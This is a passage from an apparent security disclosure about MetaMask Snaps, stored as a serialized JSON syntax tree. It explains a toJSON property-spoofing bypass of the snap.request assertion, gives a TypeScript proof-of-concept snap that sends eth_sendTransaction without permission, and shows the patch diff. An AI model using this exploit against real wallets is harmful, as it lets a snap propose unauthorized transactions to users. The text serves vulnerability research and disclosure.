pollution.\n",{"type":26,"tag":475,"props":38972,"children":38973},{"class":477,"line":582},[38974,38979,38983,38987,38991,38996,39000,39005,39009,39014],{"type":26,"tag":475,"props":38975,"children":38976},{"style":586},[38977],{"type":32,"value":38978}," if",{"type":26,"tag":475,"props":38980,"children":38981},{"style":499},[38982],{"type":32,"value":2775},{"type":26,"tag":475,"props":38984,"children":38985},{"style":2375},[38986],{"type":32,"value":38941},{"type":26,"tag":475,"props":38988,"children":38989},{"style":714},[38990],{"type":32,"value":31122},{"type":26,"tag":475,"props":38992,"children":38993},{"style":629},[38994],{"type":32,"value":38995}," '__proto__'",{"type":26,"tag":475,"props":38997,"children":38998},{"style":714},[38999],{"type":32,"value":23407},{"type":26,"tag":475,"props":39001,"children":39002},{"style":2375},[39003],{"type":32,"value":39004}," propKey",{"type":26,"tag":475,"props":39006,"children":39007},{"style":714},[39008],{"type":32,"value":31122},{"type":26,"tag":475,"props":39010,"children":39011},{"style":629},[39012],{"type":32,"value":39013}," 'constructor'",{"type":26,"tag":475,"props":39015,"children":39016},{"style":499},[39017],{"type":32,"value":676},{"type":26,"tag":475,"props":39019,"children":39020},{"class":477,"line":596},[39021,39025,39030],{"type":26,"tag":475,"props":39022,"children":39023},{"style":586},[39024],{"type":32,"value":15449},{"type":26,"tag":475,"props":39026,"children":39027},{"style":482},[39028],{"type":32,"value":39029}," undefined",{"type":26,"tag":475,"props":39031,"children":39032},{"style":499},[39033],{"type":32,"value":2729},{"type":26,"tag":475,"props":39035,"children":39036},{"class":477,"line":610},[39037],{"type":26,"tag":475,"props":39038,"children":39039},{"style":499},[39040],{"type":32,"value":12372},{"type":26,"tag":475,"props":39042,"children":39043},{"class":477,"line":650},[39044,39049,39054],{"type":26,"tag":475,"props":39045,"children":39046},{"style":586},[39047],{"type":32,"value":39048}," return",{"type":26,"tag":475,"props":39050,"children":39051},{"style":2375},[39052],{"type":32,"value":39053}," propValue",{"type":26,"tag":475,"props":39055,"children":39056},{"style":499},[39057],{"type":32,"value":2729},{"type":26,"tag":475,"props":39059,"children":39060},{"class":477,"line":679},[39061],{"type":26,"tag":475,"props":39062,"children":39063},{"style":499},[39064],{"type":32,"value":38238},{"type":26,"tag":475,"props":39066,"children":39067},{"class":477,"line":735},[39068],{"type":26,"tag":475,"props":39069,"children":39070},{"style":499},[39071],{"type":32,"value":38105},{"type":26,"tag":475,"props":39073,"children":39074},{"class":477,"line":744},[39075],{"type":26,"tag":475,"props":39076,"children":39077},{"style":499},[39078],{"type":32,"value":35033},{"type":26,"tag":35,"props":39080,"children":39081},{},[39082,39084,39090,39092,39097,39099,39105,39107,39113],{"type":32,"value":39083},"The function performs a ",{"type":26,"tag":53,"props":39085,"children":39087},{"className":39086},[],[39088],{"type":32,"value":39089},"JSON.parse(JSON.stringify(value))",{"type":32,"value":39091}," in the argument sent to ",{"type":26,"tag":53,"props":39093,"children":39095},{"className":39094},[],[39096],{"type":32,"value":38768},{"type":32,"value":39098},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":26,"tag":53,"props":39100,"children":39102},{"className":39101},[],[39103],{"type":32,"value":39104},"toJSON",{"type":32,"value":39106}," function in a legit ",{"type":26,"tag":53,"props":39108,"children":39110},{"className":39109},[],[39111],{"type":32,"value":39112},"snap.request",{"type":32,"value":39114}," argument:",{"type":26,"tag":181,"props":39116,"children":39117},{},[39118,39123,39128],{"type":26,"tag":86,"props":39119,"children":39120},{},[39121],{"type":32,"value":39122},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":26,"tag":86,"props":39124,"children":39125},{},[39126],{"type":32,"value":39127},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":26,"tag":86,"props":39129,"children":39130},{},[39131],{"type":32,"value":39132},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":26,"tag":35,"props":39134,"children":39135},{},[39136],{"type":32,"value":39137},"The assertion bypass can be useful on two occasions:",{"type":26,"tag":181,"props":39139,"children":39140},{},[39141,39146],{"type":26,"tag":86,"props":39142,"children":39143},{},[39144],{"type":32,"value":39145},"forward blocked RPC methods",{"type":26,"tag":86,"props":39147,"children":39148},{},[39149,39151,39156,39158,39164,39166,39171],{"type":32,"value":39150},"Making requests in ",{"type":26,"tag":53,"props":39152,"children":39154},{"className":39153},[],[39155],{"type":32,"value":39112},{"type":32,"value":39157}," that were only supposed to be done within ",{"type":26,"tag":53,"props":39159,"children":39161},{"className":39160},[],[39162],{"type":32,"value":39163},"ethereum.request",{"type":32,"value":39165}," (with ",{"type":26,"tag":53,"props":39167,"children":39169},{"className":39168},[],[39170],{"type":32,"value":38342},{"type":32,"value":39172}," enabled).",{"type":26,"tag":35,"props":39174,"children":39175},{},[39176],{"type":32,"value":39177},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":26,"tag":41,"props":39179,"children":39180},{"id":5374},[39181],{"type":32,"value":5377},{"type":26,"tag":35,"props":39183,"children":39184},{},[39185],{"type":32,"value":39186},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":26,"tag":35,"props":39188,"children":39189},{},[39190],{"type":26,"tag":132,"props":39191,"children":39193},{"alt":7,"src":39192},"/posts/metamask-snaps/note.png",[],{"type":26,"tag":41,"props":39195,"children":39197},{"id":39196},"proof-of-concept",[39198],{"type":32,"value":34524},{"type":26,"tag":35,"props":39200,"children":39201},{},[39202,39204,39209,39211,39216,39218,39224],{"type":32,"value":39203},"To demonstrate the issue, we created a snap without the ",{"type":26,"tag":53,"props":39205,"children":39207},{"className":39206},[],[39208],{"type":32,"value":38342},{"type":32,"value":39210}," permission, and used the ",{"type":26,"tag":53,"props":39212,"children":39214},{"className":39213},[],[39215],{"type":32,"value":37871},{"type":32,"value":39217}," interface to call ",{"type":26,"tag":53,"props":39219,"children":39221},{"className":39220},[],[39222],{"type":32,"value":39223},"eth_sendTransaction",{"type":32,"value":39225},". According to the documentation, this shouldn't be possible:",{"type":26,"tag":465,"props":39227,"children":39229},{"className":35309,"code":39228,"language":35311,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n let x = [] as any\n\n x.method = \"snap_dialog\"\n\n x.toJSON = () => {\n return {\n method: \"eth_requestAccounts\",\n params: []\n }\n }\n\n return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n let x = [] as any\n\n x.method = \"snap_dialog\"\n\n x.toJSON = () => {\n return {\n method: \"eth_sendTransaction\",\n params: [{\n from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n value: \"0x1\",\n }]\n }\n }\n\n return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n switch (request.method) {\n case 'json':\n return jsonExploit();\n case 'transaction':\n return transactionExploit();\n default:\n throw new Error('Method not found.');\n }\n};\n",[39230],{"type":26,"tag":53,"props":39231,"children":39232},{"__ignoreMap":7},[39233,39266,39273,39280,39297,39326,39333,39358,39365,39396,39407,39424,39437,39444,39451,39458,39490,39497,39504,39511,39527,39554,39561,39584,39591,39622,39633,39649,39661,39682,39697,39714,39722,39729,39736,39743,39774,39781,39788,39847,39854,39882,39899,39914,39930,39945,39957,39987,39994],{"type":26,"tag":475,"props":39234,"children":39235},{"class":477,"line":478},[39236,39240,39244,39249,39253,39257,39262],{"type":26,"tag":475,"props":39237,"children":39238},{"style":586},[39239],{"type":32,"value":19192},{"type":26,"tag":475,"props":39241,"children":39242},{"style":499},[39243],{"type":32,"value":1101},{"type":26,"tag":475,"props":39245,"children":39246},{"style":2375},[39247],{"type":32,"value":39248},"OnRpcRequestHandler",{"type":26,"tag":475,"props":39250,"children":39251},{"style":499},[39252],{"type":32,"value":35897},{"type":26,"tag":475,"props":39254,"children":39255},{"style":586},[39256],{"type":32,"value":19182},{"type":26,"tag":475,"props":39258,"children":39259},{"style":629},[39260],{"type":32,"value":39261}," '@metamask/snaps-types'",{"type":26,"tag":475,"props":39263,"children":39264},{"style":499},[39265],{"type":32,"value":2729},{"type":26,"tag":475,"props":39267,"children":39268},{"class":477,"line":516},[39269],{"type":26,"tag":475,"props":39270,"children":39271},{"emptyLinePlaceholder":18},[39272],{"type":32,"value":545},{"type":26,"tag":475,"props":39274,"children":39275},{"class":477,"line":539},[39276],{"type":26,"tag":475,"props":39277,"children":39278},{"emptyLinePlaceholder":18},[39279],{"type":32,"value":545},{"type":26,"tag":475,"props":39281,"children":39282},{"class":477,"line":548},[39283,39287,39292],{"type":26,"tag":475,"props":39284,"children":39285},{"style":482},[39286],{"type":32,"value":31077},{"type":26,"tag":475,"props":39288,"children":39289},{"style":493},[39290],{"type":32,"value":39291}," jsonExploit",{"type":26,"tag":475,"props":39293,"children":39294},{"style":499},[39295],{"type":32,"value":39296},"(){\n",{"type":26,"tag":475,"props":39298,"children":39299},{"class":477,"line":558},[39300,39304,39308,39312,39317,39321],{"type":26,"tag":475,"props":39301,"children":39302},{"style":482},[39303],{"type":32,"value":2372},{"type":26,"tag":475,"props":39305,"children":39306},{"style":2375},[39307],{"type":32,"value":18773},{"type":26,"tag":475,"props":39309,"children":39310},{"style":714},[39311],{"type":32,"value":2383},{"type":26,"tag":475,"props":39313,"children":39314},{"style":499},[39315],{"type":32,"value":39316}," [] ",{"type":26,"tag":475,"props":39318,"children":39319},{"style":586},[39320],{"type":32,"value":8553},{"type":26,"tag":475,"props":39322,"children":39323},{"style":505},[39324],{"type":32,"value":39325}," any\n",{"type":26,"tag":475,"props":39327,"children":39328},{"class":477,"line":582},[39329],{"type":26,"tag":475,"props":39330,"children":39331},{"emptyLinePlaceholder":18},[39332],{"type":32,"value":545},{"type":26,"tag":475,"props":39334,"children":39335},{"class":477,"line":596},[39336,39341,39345,39349,39353],{"type":26,"tag":475,"props":39337,"children":39338},{"style":2375},[39339],{"type":32,"value":39340}," x",{"type":26,"tag":475,"props":39342,"children":39343},{"style":499},[39344],{"type":32,"value":353},{"type":26,"tag":475,"props":39346,"children":39347},{"style":2375},[39348],{"type":32,"value":38006},{"type":26,"tag":475,"props":39350,"children":39351},{"style":714},[39352],{"type":32,"value":2383},{"type":26,"tag":475,"props":39354,"children":39355},{"style":629},[39356],{"type":32,"value":39357}," \"snap_dialog\"\n",{"type":26,"tag":475,"props":39359,"children":39360},{"class":477,"line":610},[39361],{"type":26,"tag":475,"props":39362,"children":39363},{"emptyLinePlaceholder":18},[39364],{"type":32,"value":545},{"type":26,"tag":475,"props":39366,"children":39367},{"class":477,"line":650},[39368,39372,39376,39380,39384,39388,39392],{"type":26,"tag":475,"props":39369,"children":39370},{"style":2375},[39371],{"type":32,"value":39340},{"type":26,"tag":475,"props":39373,"children":39374},{"style":499},[39375],{"type":32,"value":353},{"type":26,"tag":475,"props":39377,"children":39378},{"style":493},[39379],{"type":32,"value":39104},{"type":26,"tag":475,"props":39381,"children":39382},{"style":714},[39383],{"type":32,"value":2383},{"type":26,"tag":475,"props":39385,"children":39386},{"style":499},[39387],{"type":32,"value":2355},{"type":26,"tag":475,"props":39389,"children":39390},{"style":482},[39391],{"type":32,"value":2360},{"type":26,"tag":475,"props":39393,"children":39394},{"style":499},[39395],{"type":32,"value":579},{"type":26,"tag":475,"props":39397,"children":39398},{"class":477,"line":679},[39399,39403],{"type":26,"tag":475,"props":39400,"children":39401},{"style":586},[39402],{"type":32,"value":16695},{"type":26,"tag":475,"props":39404,"children":39405},{"style":499},[39406],{"type":32,"value":579},{"type":26,"tag":475,"props":39408,"children":39409},{"class":477,"line":735},[39410,39415,39420],{"type":26,"tag":475,"props":39411,"children":39412},{"style":2375},[39413],{"type":32,"value":39414}," method:",{"type":26,"tag":475,"props":39416,"children":39417},{"style":629},[39418],{"type":32,"value":39419}," \"eth_requestAccounts\"",{"type":26,"tag":475,"props":39421,"children":39422},{"style":499},[39423],{"type":32,"value":2425},{"type":26,"tag":475,"props":39425,"children":39426},{"class":477,"line":744},[39427,39432],{"type":26,"tag":475,"props":39428,"children":39429},{"style":2375},[39430],{"type":32,"value":39431}," params:",{"type":26,"tag":475,"props":39433,"children":39434},{"style":499},[39435],{"type":32,"value":39436}," []\n",{"type":26,"tag":475,"props":39438,"children":39439},{"class":477,"line":753},[39440],{"type":26,"tag":475,"props":39441,"children":39442},{"style":499},[39443],{"type":32,"value":851},{"type":26,"tag":475,"props":39445,"children":39446},{"class":477,"line":761},[39447],{"type":26,"tag":475,"props":39448,"children":39449},{"style":499},[39450],{"type":32,"value":5585},{"type":26,"tag":475,"props":39452,"children":39453},{"class":477,"line":770},[39454],{"type":26,"tag":475,"props":39455,"children":39456},{"emptyLinePlaceholder":18},[39457],{"type":32,"value":545},{"type":26,"tag":475,"props":39459,"children":39460},{"class":477,"line":794},[39461,39465,39470,39474,39478,39482,39486],{"type":26,"tag":475,"props":39462,"children":39463},{"style":586},[39464],{"type":32,"value":38891},{"type":26,"tag":475,"props":39466,"children":39467},{"style":2375},[39468],{"type":32,"value":39469}," snap",{"type":26,"tag":475,"props":39471,"children":39472},{"style":499},[39473],{"type":32,"value":353},{"type":26,"tag":475,"props":39475,"children":39476},{"style":493},[39477],{"type":32,"value":31193},{"type":26,"tag":475,"props":39479,"children":39480},{"style":499},[39481],{"type":32,"value":626},{"type":26,"tag":475,"props":39483,"children":39484},{"style":2375},[39485],{"type":32,"value":18984},{"type":26,"tag":475,"props":39487,"children":39488},{"style":499},[39489],{"type":32,"value":647},{"type":26,"tag":475,"props":39491,"children":39492},{"class":477,"line":831},[39493],{"type":26,"tag":475,"props":39494,"children":39495},{"emptyLinePlaceholder":18},[39496],{"type":32,"value":545},{"type":26,"tag":475,"props":39498,"children":39499},{"class":477,"line":845},[39500],{"type":26,"tag":475,"props":39501,"children":39502},{"style":499},[39503],{"type":32,"value":3607},{"type":26,"tag":475,"props":39505,"children":39506},{"class":477,"line":854},[39507],{"type":26,"tag":475,"props":39508,"children":39509},{"emptyLinePlaceholder":18},[39510],{"type":32,"value":545},{"type":26,"tag":475,"props":39512,"children":39513},{"class":477,"line":862},[39514,39518,39523],{"type":26,"tag":475,"props":39515,"children":39516},{"style":482},[39517],{"type":32,"value":31077},{"type":26,"tag":475,"props":39519,"children":39520},{"style":493},[39521],{"type":32,"value":39522}," transactionExploit",{"type":26,"tag":475,"props":39524,"children":39525},{"style":499},[39526],{"type":32,"value":39296},{"type":26,"tag":475,"props":39528,"children":39529},{"class":477,"line":885},[39530,39534,39538,39542,39546,39550],{"type":26,"tag":475,"props":39531,"children":39532},{"style":482},[39533],{"type":32,"value":2372},{"type":26,"tag":475,"props":39535,"children":39536},{"style":2375},[39537],{"type":32,"value":18773},{"type":26,"tag":475,"props":39539,"children":39540},{"style":714},[39541],{"type":32,"value":2383},{"type":26,"tag":475,"props":39543,"children":39544},{"style":499},[39545],{"type":32,"value":39316},{"type":26,"tag":475,"props":39547,"children":39548},{"style":586},[39549],{"type":32,"value":8553},{"type":26,"tag":475,"props":39551,"children":39552},{"style":505},[39553],{"type":32,"value":39325},{"type":26,"tag":475,"props":39555,"children":39556},{"class":477,"line":913},[39557],{"type":26,"tag":475,"props":39558,"children":39559},{"emptyLinePlaceholder":18},[39560],{"type":32,"value":545},{"type":26,"tag":475,"props":39562,"children":39563},{"class":477,"line":926},[39564,39568,39572,39576,39580],{"type":26,"tag":475,"props":39565,"children":39566},{"style":2375},[39567],{"type":32,"value":39340},{"type":26,"tag":475,"props":39569,"children":39570},{"style":499},[39571],{"type":32,"value":353},{"type":26,"tag":475,"props":39573,"children":39574},{"style":2375},[39575],{"type":32,"value":38006},{"type":26,"tag":475,"props":39577,"children":39578},{"style":714},[39579],{"type":32,"value":2383},{"type":26,"tag":475,"props":39581,"children":39582},{"style":629},[39583],{"type":32,"value":39357},{"type":26,"tag":475,"props":39585,"children":39586},{"class":477,"line":948},[39587],{"type":26,"tag":475,"props":39588,"children":39589},{"emptyLinePlaceholder":18},[39590],{"type":32,"value":545},{"type":26,"tag":475,"props":39592,"children":39593},{"class":477,"line":966},[39594,39598,39602,39606,39610,39614,39618],{"type":26,"tag":475,"props":39595,"children":39596},{"style":2375},[39597],{"type":32,"value":39340},{"type":26,"tag":475,"props":39599,"children":39600},{"style":499},[39601],{"type":32,"value":353},{"type":26,"tag":475,"props":39603,"children":39604},{"style":493},[39605],{"type":32,"value":39104},{"type":26,"tag":475,"props":39607,"children":39608},{"style":714},[39609],{"type":32,"value":2383},{"type":26,"tag":475,"props":39611,"children":39612},{"style":499},[39613],{"type":32,"value":2355},{"type":26,"tag":475,"props":39615,"children":39616},{"style":482},[39617],{"type":32,"value":2360},{"type":26,"tag":475,"props":39619,"children":39620},{"style":499},[39621],{"type":32,"value":579},{"type":26,"tag":475,"props":39623,"children":39624},{"class":477,"line":979},[39625,39629],{"type":26,"tag":475,"props":39626,"children":39627},{"style":586},[39628],{"type":32,"value":16695},{"type":26,"tag":475,"props":39630,"children":39631},{"style":499},[39632],{"type":32,"value":579},{"type":26,"tag":475,"props":39634,"children":39635},{"class":477,"line":1006},[39636,39640,39645],{"type":26,"tag":475,"props":39637,"children":39638},{"style":2375},[39639],{"type":32,"value":39414},{"type":26,"tag":475,"props":39641,"children":39642},{"style":629},[39643],{"type":32,"value":39644}," \"eth_sendTransaction\"",{"type":26,"tag":475,"props":39646,"children":39647},{"style":499},[39648],{"type":32,"value":2425},{"type":26,"tag":475,"props":39650,"children":39651},{"class":477,"line":1046},[39652,39656],{"type":26,"tag":475,"props":39653,"children":39654},{"style":2375},[39655],{"type":32,"value":39431},{"type":26,"tag":475,"props":39657,"children":39658},{"style":499},[39659],{"type":32,"value":39660}," [{\n",{"type":26,"tag":475,"props":39662,"children":39663},{"class":477,"line":1068},[39664,39668,39673,39677],{"type":26,"tag":475,"props":39665,"children":39666},{"style":2375},[39667],{"type":32,"value":31765},{"type":26,"tag":475,"props":39669,"children":39670},{"style":629},[39671],{"type":32,"value":39672}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":26,"tag":475,"props":39674,"children":39675},{"style":499},[39676],{"type":32,"value":637},{"type":26,"tag":475,"props":39678,"children":39679},{"style":552},[39680],{"type":32,"value":39681},"// change this to your address\n",{"type":26,"tag":475,"props":39683,"children":39684},{"class":477,"line":1077},[39685,39689,39693],{"type":26,"tag":475,"props":39686,"children":39687},{"style":2375},[39688],{"type":32,"value":31781},{"type":26,"tag":475,"props":39690,"children":39691},{"style":629},[39692],{"type":32,"value":39672},{"type":26,"tag":475,"props":39694,"children":39695},{"style":499},[39696],{"type":32,"value":2425},{"type":26,"tag":475,"props":39698,"children":39699},{"class":477,"line":1090},[39700,39705,39710],{"type":26,"tag":475,"props":39701,"children":39702},{"style":2375},[39703],{"type":32,"value":39704}," value:",{"type":26,"tag":475,"props":39706,"children":39707},{"style":629},[39708],{"type":32,"value":39709}," \"0x1\"",{"type":26,"tag":475,"props":39711,"children":39712},{"style":499},[39713],{"type":32,"value":2425},{"type":26,"tag":475,"props":39715,"children":39716},{"class":477,"line":1119},[39717],{"type":26,"tag":475,"props":39718,"children":39719},{"style":499},[39720],{"type":32,"value":39721}," }]\n",{"type":26,"tag":475,"props":39723,"children":39724},{"class":477,"line":1132},[39725],{"type":26,"tag":475,"props":39726,"children":39727},{"style":499},[39728],{"type":32,"value":851},{"type":26,"tag":475,"props":39730,"children":39731},{"class":477,"line":1146},[39732],{"type":26,"tag":475,"props":39733,"children":39734},{"style":499},[39735],{"type":32,"value":5585},{"type":26,"tag":475,"props":39737,"children":39738},{"class":477,"line":1155},[39739],{"type":26,"tag":475,"props":39740,"children":39741},{"emptyLinePlaceholder":18},[39742],{"type":32,"value":545},{"type":26,"tag":475,"props":39744,"children":39745},{"class":477,"line":1163},[39746,39750,39754,39758,39762,39766,39770],{"type":26,"tag":475,"props":39747,"children":39748},{"style":586},[39749],{"type":32,"value":38891},{"type":26,"tag":475,"props":39751,"children":39752},{"style":2375},[39753],{"type":32,"value":39469},{"type":26,"tag":475,"props":39755,"children":39756},{"style":499},[39757],{"type":32,"value":353},{"type":26,"tag":475,"props":39759,"children":39760},{"style":493},[39761],{"type":32,"value":31193},{"type":26,"tag":475,"props":39763,"children":39764},{"style":499},[39765],{"type":32,"value":626},{"type":26,"tag":475,"props":39767,"children":39768},{"style":2375},[39769],{"type":32,"value":18984},{"type":26,"tag":475,"props":39771,"children":39772},{"style":499},[39773],{"type":32,"value":3533},{"type":26,"tag":475,"props":39775,"children":39776},{"class":477,"line":1172},[39777],{"type":26,"tag":475,"props":39778,"children":39779},{"style":499},[39780],{"type":32,"value":3607},{"type":26,"tag":475,"props":39782,"children":39783},{"class":477,"line":1181},[39784],{"type":26,"tag":475,"props":39785,"children":39786},{"emptyLinePlaceholder":18},[39787],{"type":32,"value":545},{"type":26,"tag":475,"props":39789,"children":39790},{"class":477,"line":1189},[39791,39795,39799,39804,39808,39813,39817,39822,39826,39830,39834,39839,39843],{"type":26,"tag":475,"props":39792,"children":39793},{"style":586},[39794],{"type":32,"value":37902},{"type":26,"tag":475,"props":39796,"children":39797},{"style":482},[39798],{"type":32,"value":38803},{"type":26,"tag":475,"props":39800,"children":39801},{"style":493},[39802],{"type":32,"value":39803}," onRpcRequest",{"type":26,"tag":475,"props":39805,"children":39806},{"style":714},[39807],{"type":32,"value":179},{"type":26,"tag":475,"props":39809,"children":39810},{"style":505},[39811],{"type":32,"value":39812}," OnRpcRequestHandler",{"type":26,"tag":475,"props":39814,"children":39815},{"style":714},[39816],{"type":32,"value":2383},{"type":26,"tag":475,"props":39818,"children":39819},{"style":499},[39820],{"type":32,"value":39821}," ({ ",{"type":26,"tag":475,"props":39823,"children":39824},{"style":2375},[39825],{"type":32,"value":215},{"type":26,"tag":475,"props":39827,"children":39828},{"style":499},[39829],{"type":32,"value":637},{"type":26,"tag":475,"props":39831,"children":39832},{"style":2375},[39833],{"type":32,"value":31193},{"type":26,"tag":475,"props":39835,"children":39836},{"style":499},[39837],{"type":32,"value":39838}," }) ",{"type":26,"tag":475,"props":39840,"children":39841},{"style":482},[39842],{"type":32,"value":2360},{"type":26,"tag":475,"props":39844,"children":39845},{"style":499},[39846],{"type":32,"value":579},{"type":26,"tag":475,"props":39848,"children":39849},{"class":477,"line":1221},[39850],{"type":26,"tag":475,"props":39851,"children":39852},{"emptyLinePlaceholder":18},[39853],{"type":32,"value":545},{"type":26,"tag":475,"props":39855,"children":39856},{"class":477,"line":1848},[39857,39862,39866,39870,39874,39878],{"type":26,"tag":475,"props":39858,"children":39859},{"style":586},[39860],{"type":32,"value":39861}," switch",{"type":26,"tag":475,"props":39863,"children":39864},{"style":499},[39865],{"type":32,"value":2775},{"type":26,"tag":475,"props":39867,"children":39868},{"style":2375},[39869],{"type":32,"value":31193},{"type":26,"tag":475,"props":39871,"children":39872},{"style":499},[39873],{"type":32,"value":353},{"type":26,"tag":475,"props":39875,"children":39876},{"style":2375},[39877],{"type":32,"value":38006},{"type":26,"tag":475,"props":39879,"children":39880},{"style":499},[39881],{"type":32,"value":676},{"type":26,"tag":475,"props":39883,"children":39884},{"class":477,"line":1857},[39885,39890,39895],{"type":26,"tag":475,"props":39886,"children":39887},{"style":586},[39888],{"type":32,"value":39889}," case",{"type":26,"tag":475,"props":39891,"children":39892},{"style":629},[39893],{"type":32,"value":39894}," 'json'",{"type":26,"tag":475,"props":39896,"children":39897},{"style":499},[39898],{"type":32,"value":5280},{"type":26,"tag":475,"props":39900,"children":39901},{"class":477,"line":1866},[39902,39906,39910],{"type":26,"tag":475,"props":39903,"children":39904},{"style":586},[39905],{"type":32,"value":39048},{"type":26,"tag":475,"props":39907,"children":39908},{"style":493},[39909],{"type":32,"value":39291},{"type":26,"tag":475,"props":39911,"children":39912},{"style":499},[39913],{"type":32,"value":3376},{"type":26,"tag":475,"props":39915,"children":39916},{"class":477,"line":1875},[39917,39921,39926],{"type":26,"tag":475,"props":39918,"children":39919},{"style":586},[39920],{"type":32,"value":39889},{"type":26,"tag":475,"props":39922,"children":39923},{"style":629},[39924],{"type":32,"value":39925}," 'transaction'",{"type":26,"tag":475,"props":39927,"children":39928},{"style":499},[39929],{"type":32,"value":5280},{"type":26,"tag":475,"props":39931,"children":39932},{"class":477,"line":1883},[39933,39937,39941],{"type":26,"tag":475,"props":39934,"children":39935},{"style":586},[39936],{"type":32,"value":39048},{"type":26,"tag":475,"props":39938,"children":39939},{"style":493},[39940],{"type":32,"value":39522},{"type":26,"tag":475,"props":39942,"children":39943},{"style":499},[39944],{"type":32,"value":3376},{"type":26,"tag":475,"props":39946,"children":39947},{"class":477,"line":1892},[39948,39953],{"type":26,"tag":475,"props":39949,"children":39950},{"style":586},[39951],{"type":32,"value":39952}," default",{"type":26,"tag":475,"props":39954,"children":39955},{"style":499},[39956],{"type":32,"value":5280},{"type":26,"tag":475,"props":39958,"children":39959},{"class":477,"line":1901},[39960,39965,39969,39974,39978,39983],{"type":26,"tag":475,"props":39961,"children":39962},{"style":586},[39963],{"type":32,"value":39964}," throw",{"type":26,"tag":475,"props":39966,"children":39967},{"style":482},[39968],{"type":32,"value":31633},{"type":26,"tag":475,"props":39970,"children":39971},{"style":493},[39972],{"type":32,"value":39973}," Error",{"type":26,"tag":475,"props":39975,"children":39976},{"style":499},[39977],{"type":32,"value":626},{"type":26,"tag":475,"props":39979,"children":39980},{"style":629},[39981],{"type":32,"value":39982},"'Method not found.'",{"type":26,"tag":475,"props":39984,"children":39985},{"style":499},[39986],{"type":32,"value":3533},{"type":26,"tag":475,"props":39988,"children":39989},{"class":477,"line":1910},[39990],{"type":26,"tag":475,"props":39991,"children":39992},{"style":499},[39993],{"type":32,"value":5585},{"type":26,"tag":475,"props":39995,"children":39996},{"class":477,"line":1919},[39997],{"type":26,"tag":475,"props":39998,"children":39999},{"style":499},[40000],{"type":32,"value":16283},{"type":26,"tag":35,"props":40002,"children":40003},{},[40004,40006,40012,40014,40019],{"type":32,"value":40005},"We set ",{"type":26,"tag":53,"props":40007,"children":40009},{"className":40008},[],[40010],{"type":32,"value":40011},"x.method = \"snap_dialog\"",{"type":32,"value":40013}," to pass the assertion and setup a toJSON function to change this method to ",{"type":26,"tag":53,"props":40015,"children":40017},{"className":40016},[],[40018],{"type":32,"value":39223},{"type":32,"value":40020}," after.",{"type":26,"tag":41,"props":40022,"children":40023},{"id":2510},[40024],{"type":32,"value":2513},{"type":26,"tag":35,"props":40026,"children":40027},{},[40028,40030,40035,40037,40044],{"type":32,"value":40029},"Metamask mitigated this issue by asserting the arguments after the ",{"type":26,"tag":53,"props":40031,"children":40033},{"className":40032},[],[40034],{"type":32,"value":38768},{"type":32,"value":40036}," function execution. The patch was introduced on commit ",{"type":26,"tag":116,"props":40038,"children":40041},{"href":40039,"rel":40040},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[120],[40042],{"type":32,"value":40043},"168ff08",{"type":32,"value":40045}," with the following changes:",{"type":26,"tag":465,"props":40047,"children":40051},{"className":40048,"code":40049,"language":40050,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n- assertEthereumOutboundRequest(args);\n- const sanitizedArgs = getSafeJson(args);\n+ const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+ assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[40052],{"type":26,"tag":53,"props":40053,"children":40054},{"__ignoreMap":7},[40055,40063,40071,40079,40087],{"type":26,"tag":475,"props":40056,"children":40057},{"class":477,"line":478},[40058],{"type":26,"tag":475,"props":40059,"children":40060},{"style":499},[40061],{"type":32,"value":40062},"const request = async (args: RequestArguments) => {\n",{"type":26,"tag":475,"props":40064,"children":40065},{"class":477,"line":516},[40066],{"type":26,"tag":475,"props":40067,"children":40068},{"style":629},[40069],{"type":32,"value":40070},"- assertEthereumOutboundRequest(args);\n",{"type":26,"tag":475,"props":40072,"children":40073},{"class":477,"line":539},[40074],{"type":26,"tag":475,"props":40075,"children":40076},{"style":629},[40077],{"type":32,"value":40078},"- const sanitizedArgs = getSafeJson(args);\n",{"type":26,"tag":475,"props":40080,"children":40081},{"class":477,"line":548},[40082],{"type":26,"tag":475,"props":40083,"children":40084},{"style":903},[40085],{"type":32,"value":40086},"+ const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":26,"tag":475,"props":40088,"children":40089},{"class":477,"line":558},[40090],{"type":26,"tag":475,"props":40091,"children":40092},{"style":903},[40093],{"type":32,"value":40094},"+ assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":26,"tag":27,"props":40096,"children":40097},{"id":2533},[40098],{"type":32,"value":2536},{"type":26,"tag":35,"props":40100,"children":40101},{},[40102],{"type":32,"value":40103},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":26,"tag":35,"props":40105,"children":40106},{},[40107],{"type":32,"value":40108},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more 